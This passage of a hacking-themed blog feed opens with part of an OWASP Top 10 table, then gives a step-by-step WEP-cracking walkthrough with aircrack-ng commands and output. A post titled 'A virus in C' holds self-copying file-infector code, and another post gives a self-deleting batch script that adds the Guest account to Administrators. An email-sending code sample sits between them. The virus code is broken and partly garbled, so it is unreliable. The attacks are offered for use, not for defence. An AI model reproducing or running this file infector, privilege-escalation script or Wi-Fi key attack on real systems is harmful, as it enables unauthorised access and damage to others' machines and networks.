&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A9
  –Insufficient Transport Layer Protection&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 10;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&amp;lt;not in T10
  2007&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A10
  –UnvalidatedRedirects and Forwards (NEW)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 11;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A3–Malicious
  File Execution&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&amp;lt;dropped
  fromT102010&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 12; mso-yfti-lastrow: yes;&quot;&gt;
  &lt;td style=&quot;border-top: none; border: solid windowtext 1.0pt; height: 4.95pt; mso-border-bottom-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A6 –Information
  Leakage and Improper Error Handling&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-bottom-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&amp;lt;droppedfrom
  T102010&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/7151758623627848337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/06/about-web-security-innovative-open.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7151758623627848337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/7151758623627848337'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/06/about-web-security-innovative-open.html' title='About  OWASP.... (A Web security innovative)'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9kya4av1l747gr2qQeLvxhUPlMuMpx4qg8iIJxtmbdUku6WqvwWwHpk7AC3vtV9jZr8zCWO8YsHl8igThKrRWSIKYi_RrPD10IUgy8I5VuarHCNcJSQ76mhky6yUNLWnEUCJKpsqguPE/s72-c/download.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-6358317869839146864</id><published>2012-01-12T01:02:00.000-08:00</published><updated>2012-01-12T01:02:34.824-08:00</updated><title type='text'>WEP cracking</title><content type='html'>&lt;b&gt;Step 1&lt;/b&gt; - Start the wireless interface in monitor mode on AP channel&lt;br /&gt;
                &lt;br /&gt;
                &lt;b&gt; airmon-ng stop ath0  &lt;/b&gt;&lt;br /&gt;
 &lt;br /&gt;
The system responds:&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEharDwOxAjEEhLYU6rSe12VE_51cFBhoiVen3bTLPivXjt3iKppxetu3j6_Yc9cdgS51ioMNz_kZpBiLoiqRXRNhCmWQbhKDVTLFIzT8ujBL41xBG5MdUDHk0m6Jd8xF5S15nh9SIgbPNE/s1600/wep_crack.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear:right; float:right; margin-left:1em; margin-bottom:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; width=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEharDwOxAjEEhLYU6rSe12VE_51cFBhoiVen3bTLPivXjt3iKppxetu3j6_Yc9cdgS51ioMNz_kZpBiLoiqRXRNhCmWQbhKDVTLFIzT8ujBL41xBG5MdUDHk0m6Jd8xF5S15nh9SIgbPNE/s400/wep_crack.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 Interface       Chipset         Driver&lt;br /&gt;
 &lt;br /&gt;
 wifi0           Atheros         madwifi-ng&lt;br /&gt;
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 2&lt;/b&gt; - Test Wireless Device Packet Injection&lt;br /&gt;
 &lt;br /&gt;
&lt;b&gt;aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Where:&lt;br /&gt;
-9 means injection test&lt;br /&gt;
-e teddy is the wireless network name&lt;br /&gt;
-a 00:14:6C:7E:40:80 is the access point MAC address&lt;br /&gt;
ath0 is the wireless interface name&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 3 &lt;/b&gt;- Start airodump-ng to capture the IVs&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
While the injection is taking place (later), the screen will look similar to this:&lt;br /&gt;
CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 &lt;br /&gt;
                                                                                                              &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                            &lt;br /&gt;
 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           &lt;br /&gt;
                                                                                                            &lt;br /&gt;
 BSSID              STATION            PWR  Lost  Packets  Probes                                             &lt;br /&gt;
                                                                                                            &lt;br /&gt;
 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 4 &lt;/b&gt;- Use aireplay-ng to do a fake authentication with the access point&lt;br /&gt;
&lt;br /&gt;
 &lt;b&gt;aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Where:&lt;br /&gt;
-1 means fake authentication&lt;br /&gt;
0 reassociation timing in seconds&lt;br /&gt;
-e teddy is the wireless network name&lt;br /&gt;
-a 00:14:6C:7E:40:80 is the access point MAC address&lt;br /&gt;
-h 00:0F:B5:88:AC:82 is our card MAC address&lt;br /&gt;
ath0 is the wireless interface name&lt;br /&gt;
Success looks like:&lt;br /&gt;
&lt;br /&gt;
18:18:20  Sending Authentication Request&lt;br /&gt;
18:18:20  Authentication successful&lt;br /&gt;
18:18:20  Sending Association Request&lt;br /&gt;
18:18:20  Association successful :-)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 5&lt;/b&gt; - Start aireplay-ng in ARP request replay mode&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 6&lt;/b&gt; - Run aircrack-ng to obtain the WEP key&lt;br /&gt;
 &lt;b&gt;aircrack-ng -b 00:14:6C:7E:40:80 output*.cap&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Where:&lt;br /&gt;
-b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only &lt;br /&gt;
&lt;br /&gt;
capture data for this one AP.&lt;br /&gt;
output*.cap selects all files starting with “output” and ending in ”.cap”.&lt;br /&gt;
&lt;br /&gt;
Here is what success looks like:&lt;br /&gt;
&lt;br /&gt;
                                              Aircrack-ng 0.9&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                              [00:03:06] Tested 674449 keys (got 96610 IVs)&lt;br /&gt;
 &lt;br /&gt;
 KB    depth   byte(vote)&lt;br /&gt;
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0) &lt;br /&gt;
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12) &lt;br /&gt;
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10) &lt;br /&gt;
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15) &lt;br /&gt;
 &lt;br /&gt;
                       KEY FOUND! [&lt;b&gt; 12:34:56:78:90 &lt;/b&gt;] &lt;br /&gt;
      Probability: 100%</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/6358317869839146864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/wep-cracking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/6358317869839146864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/6358317869839146864'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/wep-cracking.html' title='WEP cracking'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEharDwOxAjEEhLYU6rSe12VE_51cFBhoiVen3bTLPivXjt3iKppxetu3j6_Yc9cdgS51ioMNz_kZpBiLoiqRXRNhCmWQbhKDVTLFIzT8ujBL41xBG5MdUDHk0m6Jd8xF5S15nh9SIgbPNE/s72-c/wep_crack.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-4676732073470420141</id><published>2012-01-11T21:01:00.000-08:00</published><updated>2012-01-11T22:17:34.243-08:00</updated><title type='text'>A virus in &quot;C&quot;.</title><content type='html'>unsigned long x;&lt;br /&gt;
char buff[256];&lt;br /&gt;
struct ffblk;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg08o2Vn4FnMU8XopKARl5-KR8wN_dv9iWsGZ36VT1YcB8hyXdYlXot6DeI40L3CeuvjL4iPV2p9TNK37SZ7d4yQoOi8cLvyHyA0zBPr-gR623NMWvyvTu7rqLKpj4Sw-mua7WyGk1SJ6Q/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear:right; float:right; margin-left:1em; margin-bottom:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;93&quot; width=&quot;124&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg08o2Vn4FnMU8XopKARl5-KR8wN_dv9iWsGZ36VT1YcB8hyXdYlXot6DeI40L3CeuvjL4iPV2p9TNK37SZ7d4yQoOi8cLvyHyA0zBPr-gR623NMWvyvTu7rqLKpj4Sw-mua7WyGk1SJ6Q/s400/images.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
clock_t st,end;&lt;br /&gt;
&lt;br /&gt;
main()       //www.ashu-hackingforever.blogspot.com&lt;br /&gt;
{&lt;br /&gt;
st=clock();&lt;br /&gt;
clrscr();&lt;br /&gt;
end=(findfirst(&quot;*.*&quot;,&amp;ffblk,0);&lt;br /&gt;
while(!end)&lt;br /&gt;
{&lt;br /&gt;
virus=fopen(_args[0],&quot;rb&quot;);&lt;br /&gt;
vhost=fopen(ffblk.ff_name,&quot;rb+&quot;);&lt;br /&gt;
if(vhost==NULL)&lt;br /&gt;
 goto next;&lt;br /&gt;
x=89088;&lt;br /&gt;
printf(&quot;infecting %s\n&quot;,ffblk.ff_name);&lt;br /&gt;
while(x&gt;2048)&lt;br /&gt;
{&lt;br /&gt;
  fread(buff,256,1,virus);&lt;br /&gt;
fwrite(buff,256,1,vhost);&lt;br /&gt;
x=2048;&lt;br /&gt;
}&lt;br /&gt;
fread(buff,x,1,virus);&lt;br /&gt;
fwrite(buff,1,vhost);&lt;br /&gt;
a++;&lt;br /&gt;
next:  fcloseall();&lt;br /&gt;
               done=findnext(&amp;ffblk);&lt;br /&gt;
}&lt;br /&gt;
end=clock();&lt;br /&gt;
printf(&quot;infected %d file in %f sec&quot;,a,(end-st)/CLK-TCK);&lt;br /&gt;
return(0);&lt;br /&gt;
}</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/4676732073470420141/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/virus-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/4676732073470420141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/4676732073470420141'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/virus-in-c.html' title='A virus in &quot;C&quot;.'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg08o2Vn4FnMU8XopKARl5-KR8wN_dv9iWsGZ36VT1YcB8hyXdYlXot6DeI40L3CeuvjL4iPV2p9TNK37SZ7d4yQoOi8cLvyHyA0zBPr-gR623NMWvyvTu7rqLKpj4Sw-mua7WyGk1SJ6Q/s72-c/images.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-1182246042297151310</id><published>2012-01-11T20:44:00.000-08:00</published><updated>2012-01-11T20:44:33.448-08:00</updated><title type='text'>create mail message object.</title><content type='html'>// create mail message object&lt;br /&gt;
&lt;br /&gt;
MailMessage mail = new MailMessage();&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxicfQqInQ8KDMkgCGKfs5NKPvNUVRbTGIGsodF-j22XhoHtAu1cGGhRzYkN5HnBPhxkhENsOxZpPL7N0TOi2d0VPOyz7NsJHA1uDi_jhp7NaWikNZvQTVVY1gutVg7nxR8qcpn2_X0i8/s1600/images+%25281%2529.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear:right; float:right; margin-left:1em; margin-bottom:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;116&quot; width=&quot;116&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxicfQqInQ8KDMkgCGKfs5NKPvNUVRbTGIGsodF-j22XhoHtAu1cGGhRzYkN5HnBPhxkhENsOxZpPL7N0TOi2d0VPOyz7NsJHA1uDi_jhp7NaWikNZvQTVVY1gutVg7nxR8qcpn2_X0i8/s400/images+%25281%2529.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
mail.From = &quot;&quot;;           // put the from address here&lt;br /&gt;
&lt;br /&gt;
mail.To = &quot;&quot;;             // put to address here&lt;br /&gt;
&lt;br /&gt;
mail.Subject = &quot;&quot;;        // put subject here &lt;br /&gt;
&lt;br /&gt;
mail.Body = &quot;&quot;;           // put body of email here&lt;br /&gt;
&lt;br /&gt;
SmtpMail.SmtpServer = &quot;&quot;; // put smtp server you will use here &lt;br /&gt;
&lt;br /&gt;
// and then send the mail&lt;br /&gt;
&lt;br /&gt;
SmtpMail.Send(mail);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here goes the program vc++ code&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#define _CRTDBG_MAP_ALLOC&lt;br /&gt;
&lt;br /&gt;
#include &quot;windows.h&quot;&lt;br /&gt;
&lt;br /&gt;
#include &quot;crtdbg.h&quot;&lt;br /&gt;
&lt;br /&gt;
#include &quot;string.h&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#include &quot;CkSettings.h&quot;&lt;br /&gt;
&lt;br /&gt;
#include &quot;CkEmail.h&quot;&lt;br /&gt;
&lt;br /&gt;
#include &quot;CkEmailBundle.h&quot;&lt;br /&gt;
&lt;br /&gt;
#include &quot;CkMailMan.h&quot;&lt;br /&gt;
&lt;br /&gt;
#include &quot;CkString.h&quot;&lt;br /&gt;
&lt;br /&gt;
#include &quot;CkByteData.h&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
void EmailExample(void)&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
CkMailMan mailman;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// This seems to have a 30-day trial period.&lt;br /&gt;
&lt;br /&gt;
bool unlocked = mailman.UnlockComponent(&quot;30-day trial&quot;);&lt;br /&gt;
&lt;br /&gt;
if (!unlocked)&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
printf(&quot;Failed to unlock component\n&quot;);&lt;br /&gt;
&lt;br /&gt;
return;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
mailman.put_SmtpHost(&quot;mail.earthlink.net&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This contains the actual email componets&lt;br /&gt;
&lt;br /&gt;
CkEmail email;&lt;br /&gt;
&lt;br /&gt;
email.put_Body(&quot;This is a test\r\nThis is line #2&quot;);&lt;br /&gt;
&lt;br /&gt;
email.AddTo(&quot;Google Hacks&quot;,&quot;communityonwer@gmail.com&quot;);&lt;br /&gt;
&lt;br /&gt;
email.put_FromAddress(&quot;communityonwer@gmail.com&quot;);&lt;br /&gt;
&lt;br /&gt;
email.put_Subject(&quot;Google Hacks is the best site&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if (!mailman.SendEmail(&amp;email))&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
mailman.SaveLastError(&quot;errors.xml&quot;); // error&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
freopen(&quot;stdout.txt&quot;,&quot;w&quot;,stdout);&lt;br /&gt;
&lt;br /&gt;
EmailExample();&lt;br /&gt;
&lt;br /&gt;
CkSettings::cleanupMemory();&lt;br /&gt;
&lt;br /&gt;
_CrtDumpMemoryLeaks();&lt;br /&gt;
&lt;br /&gt;
return 0;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you want html just replace body with a html code. Only basic html code will work.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you wish to add BCC after email.AddTo() . You need to add this as many as times as you want based to how many people &lt;br /&gt;
&lt;br /&gt;
you want to mail.&lt;br /&gt;
&lt;br /&gt;
email.AddBcc(&quot;Orkut Tricks&quot;,&quot;communityonwer@gmail.com&quot;);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you wish to add CC just copy the above code and replace Bcc with cc&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code to add attachments . Repete this code as many times as you want based on the no of attachments you want to send&lt;br /&gt;
&lt;br /&gt;
// Add a file attachment.&lt;br /&gt;
&lt;br /&gt;
if (!email.AddFileAttachment(&quot;googlehacks.gif&quot;,0))&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
email.SaveLastError(&quot;errors.xml&quot;);&lt;br /&gt;
&lt;br /&gt;
return;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you want all your attachments to be zipped the use this code after you enter all the attachments&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if (!email.ZipAttachments(&quot;googlehacks.zip&quot;))&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
email.SaveLastError(&quot;errors.xml&quot;);&lt;br /&gt;
&lt;br /&gt;
return;&lt;br /&gt;
&lt;br /&gt;
}</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/1182246042297151310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/create-mail-message-object.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/1182246042297151310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/1182246042297151310'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/create-mail-message-object.html' title='create mail message object.'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxicfQqInQ8KDMkgCGKfs5NKPvNUVRbTGIGsodF-j22XhoHtAu1cGGhRzYkN5HnBPhxkhENsOxZpPL7N0TOi2d0VPOyz7NsJHA1uDi_jhp7NaWikNZvQTVVY1gutVg7nxR8qcpn2_X0i8/s72-c/images+%25281%2529.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-5347839480201260262</id><published>2012-01-11T20:32:00.000-08:00</published><updated>2012-01-11T20:33:42.669-08:00</updated><title type='text'>How to get the admin privilages.</title><content type='html'>The below code will allow a guest to be a admin . You will not be the actual admin but will get admin privilages  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEAq8GFpaofx8AqEOGQDjX1BHaTN8o3YF1Jsy1cm0YgyUMUWOIUeyTCGgVLY005sygWs95y50URsfBvD5lDmtfjR4_rVBqlGsBb_GLNdAznQIgSzIyv3-JAp3lig0YdffX8lZQhgbphiw/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear:right; float:right; margin-left:1em; margin-bottom:1em&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;116&quot; width=&quot;116&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEAq8GFpaofx8AqEOGQDjX1BHaTN8o3YF1Jsy1cm0YgyUMUWOIUeyTCGgVLY005sygWs95y50URsfBvD5lDmtfjR4_rVBqlGsBb_GLNdAznQIgSzIyv3-JAp3lig0YdffX8lZQhgbphiw/s400/images.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
echo off&lt;br /&gt;
title Please wait...&lt;br /&gt;
cls&lt;br /&gt;
net user add Username Password /add&lt;br /&gt;
net user localgroup Administrators Username /add&lt;br /&gt;
net user Guest 420 /active:yes&lt;br /&gt;
net localgroup Guests Guest /DELETE&lt;br /&gt;
net localgroup Administrators Guest /add&lt;br /&gt;
del %0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Copy this to notepad and save the file as &quot;anyname.bat&quot; .make double click on this.....</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/5347839480201260262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/below-code-will-allow-guest-to-be-admin.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5347839480201260262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5347839480201260262'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/01/below-code-will-allow-guest-to-be-admin.html' title='How to get the admin 